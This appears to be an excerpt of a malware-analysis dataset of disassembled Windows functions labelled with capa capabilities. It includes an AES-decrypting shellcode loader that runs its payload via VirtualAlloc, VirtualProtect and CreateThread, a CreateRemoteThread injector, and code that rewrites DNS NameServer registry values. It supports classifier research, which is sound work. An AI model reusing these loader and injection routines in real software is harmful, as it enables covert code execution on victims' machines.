joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3afc914cd
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x19670
call fcn.3afc92440
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.Gemini_Security
lea rax, str.Welcome_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
movabs rax, 0x54940a21cd7a504a
movabs rdx, 0x9f5b0e264b52159f
mov qword [rbp + 0x195c0], rax
mov qword [rbp + 0x195c8], rdx
lea rax, [rbp - 0x40]
lea rdx, [0x3afc990a8]
mov ecx, 0x19600
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x195ec], 0x19600
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x19600
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x195e0], rax
cmp qword [rbp + 0x195e0], 0
jne 0x3afc915a3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x3afc916d5
lea rcx, [rbp + 0x195c0]
mov edx, dword [rbp + 0x195ec]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.DeAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x195e0]
mov r8d, 0x19600
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x195e0]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x19600
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x3afc91630
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x3afc916d5
mov rax, qword [rbp + 0x195e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x195d8], rax
cmp qword [rbp + 0x195d8], 0
jne 0x3afc91696
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x3afc916d5
mov rax, qword [rbp + 0x195e0]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x195d8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x195e0]
call rax
mov eax, 0
add rsp, 0x19670
pop rbp
ret

Function at 0x3afc91880
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x3afc918f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3afcb6064]
mov rbx, rcx
test esi, esi
jle 0x3afc91a20
mov rax, qword [0x3afcb6068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3afc9193b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3afc919c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3afc91920
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x3afc91a42
mov rax, qword [0x3afcb6068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3afcb6068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3afc91a27
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3afc919be
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3afc919d0
add dword [0x3afcb6064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x3afcb6068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3afc919be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x3afc91948
mov rax, qword [0x3afcb6068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3afc91dc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3afcb60a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3afcb6080]
test rbx, rbx
je 0x3afc91e1c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3afc91e13
test rsi, rsi
je 0x3afc91e13
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3afc91df8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3afc92030
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x3afc92048
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x3afc92050
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x3afc92060
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x3afc920ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x3afc920a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x3afc920af
add rax, 0x28
cmp rax, r9
jne 0x3afc92090
xor eax, eax
ret

Function at 0x3afc920b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x3afc92140
mov rdx, qword [0x3afcb2c50]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x3afc9212e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x3afc9212e
cmp word [rax + 0x18], 0x20b
jne 0x3afc9212e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x3afc92140
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x3afc92119
add rbx, 0x28
cmp rbx, rdi
je 0x3afc92140
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x3afc92110
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x3afc92150
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3afcb2c50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3afc92170
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3afc92178
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc92170
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3afc921cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3afc921c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3afc92170
add rax, 0x28
cmp rax, r9
jne 0x3afc921b0
xor eax, eax
ret

Function at 0x3afc921d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3afcb2c50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3afc921ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3afc921f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3afc921ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3afc92210
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x3afcb2c50]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x3afc92230
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x3afc92238
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3afc92230
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x3afc92280
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3afc92277
test rcx, rcx
je 0x3afc92230
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x3afc92268
xor eax, eax
ret
Function at 0x3afc92290
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3afcb2c50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3afc922af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3afc922b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x3afc922d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3afcb2c50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3afc922f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3afc922f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc922f0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x3afc922f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x3afc92344
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x3afc92350
add rdx, 0x28
cmp r9, rdx
jne 0x3afc92330
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x3afc92360
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x3afcb2c50]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3afc92382
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3afc92390
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc92382
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3afc92382
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x3afc92382
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x3afc923e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x3afc923f8
add rdx, 0x28
cmp rdx, r10
jne 0x3afc923d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x3afc92407
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x3afc92417
mov edx, dword [rax + 0xc]
test edx, edx
je 0x3afc923ee
test ecx, ecx
jg 0x3afc92400
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400010c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
cmp eax, 3
jb 0x1400010d7
add rsp, 0x28
ret
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x64
call rax
ud2

Function at 0x1400033d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x58
mov eax, 0x254cdc44
mov ecx, eax
mov qword [rsp + 0x48], 0x6e33d5eb
mov qword [rsp + 0x10], 0x5bc1bf99
mov rdx, qword [rsp + 0x10]
imul r8, rdx, 0xa0bcac1
cmp rcx, r8
mov qword [rsp + 8], rdx
je 0x1400034a2
jmp 0x1400034df
mov rax, qword [rsp + 0x18]
cmp dword [rax], 0x4550
je 0x14000346b
mov eax, 0x6e33c5eb
mov ecx, eax
mov rdx, qword [rsp + 0x30]
add rdx, 0xfffffffffffff000
sub rcx, qword [rsp + 0x48]
and rdx, rcx
mov eax, dword [rsp + 0x54]
xor eax, 0xffffffff
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x40], 0xffffffffda8e66a4
mov qword [rsp + 0x20], rdx
jmp 0x140003475
mov rax, qword [rsp + 0x28]
or rax, 0x18b9f8cb
cmp rax, 0x510314d2
jbe 0x1400034fe
jmp 0x1400034fe
mov rax, qword [rsp + 0x30]
add rsp, 0x58
ret
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 8]
add rax, 0x48e9b690
mov rcx, qword [rsp + 0x30]
mov dx, word [rcx]
mov qword [rsp + 0x40], rax
cmp dx, 0x5a4d
jne 0x140003419
mov eax, 0x5a2f3a98
mov rcx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x54]
movsxd rcx, dword [rcx + 0x3c]
mov qword [rsp], rcx
mov ecx, edx
shr eax, cl
mov dword [rsp + 0x54], eax
mov r8, qword [rsp]
add r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x3c]
mov qword [rsp + 0x18], r8
cmp eax, 0x506a5f0c
ja 0x14000340c
jmp 0x1400034a2
mov rax, qword [rsp + 0x10]
mov qword [rsp + 0x28], 0x32efc0df
cmp rax, 0x59962409
jb 0x14000340c
jmp 0x14000344f
lea rax, [fcn.1400033d0]
mov dword [rsp + 0x3c], 0x581a4b86
mov qword [rsp + 0x20], rax
jmp 0x140003475
Function at 0x1400036f0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push r12
push r13
sub rsp, 0x20
xor ebp, ebp
mov r13, rdx
mov dword [rsp + 0x40], 0x2710
movsxd rsi, ecx
mov r12d, ebp
mov rbx, rbp
test ecx, ecx
je 0x1400037ad
mov qword [rsp + 0x48], rdi
nop word [rax + rax]
mov rdi, qword [r13 + rbx*8]
lea rdx, str._logging:
mov r8d, 9
mov rcx, rdi
call qword [sym.imp.MSVCR90.dll_wcsncmp]
test eax, eax
jne 0x140003765
lea rcx, [rdi + 0x12]
test rcx, rcx
je 0x140003765
lea rdx, [rsp + 0x40]
call fcn.140061860
mov r12d, eax
inc rbx
cmp rbx, rsi
jne 0x140003730
mov ebx, dword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
test r12d, r12d
je 0x14000379b
cmp ebx, 0x2710
je 0x1400037ad
lea r8, str.logs_ModuleName._Pid.log
lea rcx, [0x1401b71d0]
mov r9d, ebx
xor edx, edx
call fcn.1400614c0
cmp ebx, 0x2710
je 0x1400037ad
mov ecx, ebx
call fcn.140060820
mov rbp, rax
lea rcx, str.SB_VAR_F3B44D29_36CA_4481_9EA7_B31ADA3C649E
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov eax, 1
add rsp, 0x20
pop r13
pop r12
pop rsi
ret
Function at 0x140006e60
Capabilities:
Suspend thread

Disassembly:
push rdi
sub rsp, 0x1e0
mov qword [rsp + 0x80], 0xfffffffffffffffe
mov qword [rsp + 0x1f8], rbx
mov rax, qword [0x14025a030]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
mov rdi, rcx
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x78
lea r9, [rsp + 0x24]
lea r8, [rsp + 0x20]
lea rdx, str._CatchedProcess::SuspendMainThread_
lea rcx, [rsp + 0xa0]
call fcn.140001d10
nop
mov rax, qword [rdi + 0x1e8]
sub rax, qword [rdi + 0x1e0]
test rax, 0xfffffffffffffffc
jne 0x140006f0d
mov dword [rsp + 0x40], 0x57
lea rax, str.ParametersCheck
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x90], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x90]
call sub.MSVCR90.dll__CxxThrowException
mov rax, qword [rdi + 0x1e8]
sub rax, qword [rdi + 0x1e0]
sar rax, 2
test rax, rax
jne 0x140006f2a
call qword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov rax, qword [rdi + 0x1e0]
mov r8d, dword [rax]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x140006f80
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rax, [0x1401b7c30]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x60]
call sub.MSVCR90.dll__CxxThrowException
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x118]
test eax, eax
jne 0x140006f9b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x140006fa4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Wow64SuspendThread]
cmp eax, 0xffffffff
jne 0x140006fdb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rax, [0x1401b7c48]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x70]
call sub.MSVCR90.dll__CxxThrowException
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 1
cmp rbx, 0xffffffffffffffff
je 0x140006ffb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, dword [rsp + 0x20]
lea rcx, [rsp + 0xa0]
call fcn.140001e50
nop
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.140155650
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1e0
pop rdi
ret
Function at 0x140007040
Capabilities:
Resume thread

Disassembly:
push rbx
sub rsp, 0x1e0
mov qword [rsp + 0x80], 0xfffffffffffffffe
mov rax, qword [0x14025a030]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
mov rbx, rcx
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x78
lea r9, [rsp + 0x24]
lea r8, [rsp + 0x20]
lea rdx, str._CatchedProcess::ResumeMainThread_
lea rcx, [rsp + 0xa0]
call fcn.140001d10
nop
mov rax, qword [rbx + 0x1e8]
sub rax, qword [rbx + 0x1e0]
test rax, 0xfffffffffffffffc
jne 0x1400070e5
mov dword [rsp + 0x40], 0x57
lea rax, str.ParametersCheck
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x90], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x90]
call sub.MSVCR90.dll__CxxThrowException
mov rax, qword [rbx + 0x1e8]
sub rax, qword [rbx + 0x1e0]
sar rax, 2
test rax, rax
jne 0x140007102
call qword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov rax, qword [rbx + 0x1e0]
mov r8d, dword [rax]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x140007158
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rax, [0x1401b7c30]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x60]
call sub.MSVCR90.dll__CxxThrowException
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140007198
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rax, [0x1401b7cb8]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x70]
call sub.MSVCR90.dll__CxxThrowException
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 1
cmp rbx, 0xffffffffffffffff
je 0x1400071b8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, dword [rsp + 0x20]
lea rcx, [rsp + 0xa0]
call fcn.140001e50
nop
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.140155650
add rsp, 0x1e0
pop rbx
ret
Function at 0x1400076c0
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
push r12
sub rsp, 0x1f0
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov qword [rsp + 0x228], rbx
mov rax, qword [0x14025a030]
xor rax, rsp
mov qword [rsp + 0x1e8], rax
mov r12, r8
mov rsi, rdx
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x44], edi
mov dword [rsp + 0x40], 0x78
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x44]
lea rdx, str._CatchedProcess::CreateRemoteThread_
lea rcx, [rsp + 0xb0]
call fcn.140001d10
nop
mov r8d, dword [rbx + 0xc]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov qword [rsp + 0xa8], rax
test rax, rax
jne 0x140007781
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x50], eax
lea rax, [0x1401b7b80]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x80], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x80]
call sub.MSVCR90.dll__CxxThrowException
mov dword [rsp + 0x48], edi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400077eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [0x1401b7eb0]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x90], xmm0
lea rdx, [0x140252200]
lea rcx, [rsp + 0x90]
call sub.MSVCR90.dll__CxxThrowException
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x44], 1
cmp rax, 0xffffffffffffffff
je 0x140007807
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp rbx, 0xffffffffffffffff
je 0x140007817
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, dword [rsp + 0x44]
lea rcx, [rsp + 0xb0]
call fcn.140001e50
nop
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rcx, qword [rsp + 0x1e8]
xor rcx, rsp
call fcn.140155650
mov rbx, qword [rsp + 0x228]
add rsp, 0x1f0
pop r12
pop rdi
pop rsi
ret
Function at 0x14000ba70
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x100
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x14025a030]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov rbx, r8
mov rsi, rdx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rbx
lea rdx, str.SYSTEMCurrentControlSetServicesTcpipParametersInterfaces_
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const____ptr64____ptr64]
nop
mov rdx, rsi
lea rcx, [rsp + 0x40]
call qword [reloc.MSVCP90.dll___Y__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QEAAAEAV01_AEBV01__Z]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000bb2a
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
mov rcx, rsi
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
mov rcx, rbx
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
xor al, al
jmp 0x14000bbce
cmp qword [rbx + 0x20], 0x10
jb 0x14000bb37
mov r8, qword [rbx + 8]
jmp 0x14000bb3b
lea r8, [rbx + 8]
mov edx, 0x64
lea r9d, [rdx - 2]
lea rcx, [rsp + 0x80]
call qword [sym.imp.MSVCR90.dll_strncpy_s]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov eax, ecx
mov byte [rsp + rax + 0x81], 0
add ecx, 2
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.NameServer
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
mov rcx, rsi
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
mov rcx, rbx
call qword [sym.imp.MSVCP90.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
mov al, 1
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140155650
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
